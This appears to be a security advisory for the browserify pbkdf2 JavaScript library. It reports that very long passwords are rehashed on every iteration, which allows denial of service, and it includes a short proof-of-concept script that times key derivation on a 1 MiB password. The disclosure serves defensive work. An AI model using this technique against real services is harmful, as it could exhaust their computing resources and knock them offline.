pbkdf2 rehashes long passwords on every iteration, enabling denial of service

Summary

This is the same bug as Django had (CVE-2013-1443).

Details

A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60

Also see https://github.com/browserify/pbkdf2/issues/82

PoC

The first key will take a lot longer to generate when not using the native code and uses code from /lib/sync.js (ie when this if statement is true): https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37

var pbkdf2 = require('pbkdf2');
var createHash = require('create-hash');
var pw = ".".repeat(1048576); // 1 MiB

var t0 = performance.now();
var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t1 = performance.now();
pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size
var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t2 = performance.now();

console.log("First took:  " + (t1 - t0));
console.log("Second took: " + (t2 - t1));
console.log("Generated keys:");
console.log(key1);
console.log(key2);

Impact

DoS